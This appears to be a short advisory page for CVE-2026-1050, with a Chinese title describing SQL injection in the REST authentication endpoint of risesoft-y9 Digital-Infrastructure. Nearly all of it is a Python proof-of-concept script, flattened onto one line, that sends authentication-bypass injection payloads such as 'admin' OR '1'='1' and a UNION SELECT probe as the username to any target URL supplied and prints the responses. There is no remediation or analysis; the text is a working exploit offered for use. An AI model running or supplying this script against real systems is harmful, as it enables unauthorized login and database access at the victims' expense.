CVE-2026-1050: risesoft-y9 Digital-Infrastructure REST认证端点SQL注入漏洞

import requests import sys # CVE-2026-1050 SQL Injection PoC # Target: risesoft-y9 Digital-Infrastructure REST Authenticate Endpoint target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target:8080" endpoint = f"{target_url}/rest/authenticate" # Basic authentication bypass payloads payloads = [ "admin' OR '1'='1", "' OR 1=1--", "' UNION SELECT NULL--", "admin'--" ] headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } print(f"[*] Testing CVE-2026-1050 SQL Injection on {endpoint}") for payload in payloads: data = { "username": payload, "password": "any" } try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) print(f"[+] Payload: {payload}") print(f" Status: {response.status_code}") print(f" Response: {response.text[:200]}") except Exception as e: print(f"[-] Error with payload {payload}: {e}")